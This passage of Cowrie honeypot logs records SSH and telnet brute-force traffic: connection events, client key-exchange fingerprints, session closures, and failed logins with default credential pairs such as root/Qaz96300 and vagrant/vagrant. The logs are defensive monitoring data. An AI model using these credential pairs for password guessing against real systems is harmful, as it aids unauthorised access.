rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:46.894943Z","src_ip":"159.203.92.129","session":"d7daba28a15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"11112222","message":"login attempt [ansible/11112222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:47.012098Z","src_ip":"159.203.92.129","session":"d7daba28a15a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:48.020786Z","src_ip":"159.203.92.129","session":"d7daba28a15a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.777910709381104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:49.054529Z","src_ip":"161.97.124.15","session":"332bdb579237","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42444,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b2243581768","protocol":"ssh","message":"New connection: 176.65.139.103:42444 (10.17.0.5:22) [session: 2b2243581768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:51.134578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:51.145668Z","src_ip":"176.65.139.103","session":"2b2243581768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:51.216439Z","src_ip":"176.65.139.103","session":"2b2243581768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:51.670535Z","src_ip":"176.65.139.103","session":"2b2243581768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.749210357666016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:52.070231Z","src_ip":"161.97.124.15","session":"23737ceca0bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.388235092163086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:52.133914Z","src_ip":"161.97.124.15","session":"afd252275e0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":35460,"dst_ip":"159.203.135.109","dst_port":23,"session":"b614ae6248da","protocol":"telnet","message":"New connection: 161.97.124.15:35460 (159.203.135.109:23) [session: b614ae6248da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:52.721262Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:52.775362Z","src_ip":"176.65.139.103","session":"2b2243581768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":37230,"dst_ip":"159.203.135.109","dst_port":23,"session":"14f82709dd9d","protocol":"telnet","message":"New connection: 161.97.124.15:37230 (159.203.135.109:23) [session: 14f82709dd9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:53.515979Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":34972,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9e894ba87db","protocol":"ssh","message":"New connection: 103.176.20.115:34972 (10.17.0.5:22) [session: e9e894ba87db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:54.916586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:54.921340Z","src_ip":"103.176.20.115","session":"e9e894ba87db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:55.167466Z","src_ip":"103.176.20.115","session":"e9e894ba87db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.689568519592285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:55.173682Z","src_ip":"161.97.124.15","session":"e4a0b261011e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53276228904724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:55.770096Z","src_ip":"161.97.124.15","session":"d6c5062c90ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5735924243927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:56.067514Z","src_ip":"161.97.124.15","session":"a1b14cc139aa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz96300","message":"login attempt [root/Qaz96300] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:56.173826Z","src_ip":"103.176.20.115","session":"e9e894ba87db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.27979063987732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:57.095067Z","src_ip":"161.97.124.15","session":"b1bf4eace0cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.071588039398193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:57.327888Z","src_ip":"161.97.124.15","session":"b0607da9599e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:57.419515Z","src_ip":"103.176.20.115","session":"e9e894ba87db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34644,"dst_ip":"10.17.0.5","dst_port":22,"session":"27381909fb5d","protocol":"ssh","message":"New connection: 176.65.139.103:34644 (10.17.0.5:22) [session: 27381909fb5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:58.187997Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":47154,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d27b90e536e","protocol":"telnet","message":"New connection: 161.97.124.15:47154 (159.203.135.109:23) [session: 4d27b90e536e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:58.205169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:58.210934Z","src_ip":"176.65.139.103","session":"27381909fb5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:58.270908Z","src_ip":"176.65.139.103","session":"27381909fb5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":47548,"dst_ip":"159.203.135.109","dst_port":23,"session":"beaaa899a372","protocol":"telnet","message":"New connection: 161.97.124.15:47548 (159.203.135.109:23) [session: beaaa899a372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:58.412739Z"}
{"eventid":"cowrie.session.closed","duration":31.168091535568237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:58.432721Z","src_ip":"161.97.124.15","session":"b7e7b20d03c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":48226,"dst_ip":"159.203.135.109","dst_port":23,"session":"0062a4283624","protocol":"telnet","message":"New connection: 161.97.124.15:48226 (159.203.135.109:23) [session: 0062a4283624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:58.697353Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:58.817194Z","src_ip":"176.65.139.103","session":"27381909fb5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:59.906489Z","src_ip":"176.65.139.103","session":"27381909fb5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.096628427505493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:03.507600Z","src_ip":"161.97.124.15","session":"851828881bc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":58816,"dst_ip":"159.203.135.109","dst_port":23,"session":"50d3eaba2bd0","protocol":"telnet","message":"New connection: 161.97.124.15:58816 (159.203.135.109:23) [session: 50d3eaba2bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:03.864709Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.74.7.154","src_port":2776,"dst_ip":"10.17.0.5","dst_port":23,"session":"69b57552e3be","protocol":"telnet","message":"New connection: 105.74.7.154:2776 (10.17.0.5:23) [session: 69b57552e3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:04.402251Z"}
{"eventid":"cowrie.session.closed","duration":30.37948751449585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:05.092405Z","src_ip":"161.97.124.15","session":"59ce05e7a038","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43600,"dst_ip":"10.17.0.5","dst_port":22,"session":"aef798179cf5","protocol":"ssh","message":"New connection: 176.65.139.103:43600 (10.17.0.5:22) [session: aef798179cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:05.519552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:05.524199Z","src_ip":"176.65.139.103","session":"aef798179cf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:05.605407Z","src_ip":"176.65.139.103","session":"aef798179cf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:05.879876Z","src_ip":"176.65.139.103","session":"aef798179cf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.579895734786987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:06.058151Z","src_ip":"161.97.124.15","session":"2bd80b15f196","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:06.964324Z","src_ip":"176.65.139.103","session":"aef798179cf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.54352068901062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:07.163161Z","src_ip":"161.97.124.15","session":"4bc60cc62d68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825502395629883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:08.156318Z","src_ip":"161.97.124.15","session":"4601ca78d711","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":40820,"dst_ip":"159.203.135.109","dst_port":23,"session":"835f3f6983d1","protocol":"telnet","message":"New connection: 161.97.124.15:40820 (159.203.135.109:23) [session: 835f3f6983d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:08.435155Z"}
{"eventid":"cowrie.session.closed","duration":30.6118643283844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:11.064653Z","src_ip":"161.97.124.15","session":"b9984daae753","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":46782,"dst_ip":"159.203.135.109","dst_port":23,"session":"43557325c329","protocol":"telnet","message":"New connection: 161.97.124.15:46782 (159.203.135.109:23) [session: 43557325c329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:11.271394Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":47374,"dst_ip":"159.203.135.109","dst_port":23,"session":"90c2ee731bd7","protocol":"telnet","message":"New connection: 161.97.124.15:47374 (159.203.135.109:23) [session: 90c2ee731bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:11.462296Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":52108,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8ba7a7f8bdd","protocol":"telnet","message":"New connection: 161.97.124.15:52108 (159.203.135.109:23) [session: b8ba7a7f8bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:13.407760Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44060,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7222ad9a9d4","protocol":"ssh","message":"New connection: 176.65.139.103:44060 (10.17.0.5:22) [session: e7222ad9a9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:13.649757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:13.654204Z","src_ip":"176.65.139.103","session":"e7222ad9a9d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:13.738329Z","src_ip":"176.65.139.103","session":"e7222ad9a9d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:13.997797Z","src_ip":"176.65.139.103","session":"e7222ad9a9d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":53692,"dst_ip":"159.203.135.109","dst_port":23,"session":"85d9ba224586","protocol":"telnet","message":"New connection: 161.97.124.15:53692 (159.203.135.109:23) [session: 85d9ba224586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:14.024164Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:15.085857Z","src_ip":"176.65.139.103","session":"e7222ad9a9d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.78041648864746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:17.047971Z","src_ip":"161.97.124.15","session":"9c90fde1bf6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":32772,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfef086bcc8a","protocol":"telnet","message":"New connection: 161.97.124.15:32772 (159.203.135.109:23) [session: dfef086bcc8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:56:17.307406Z"}
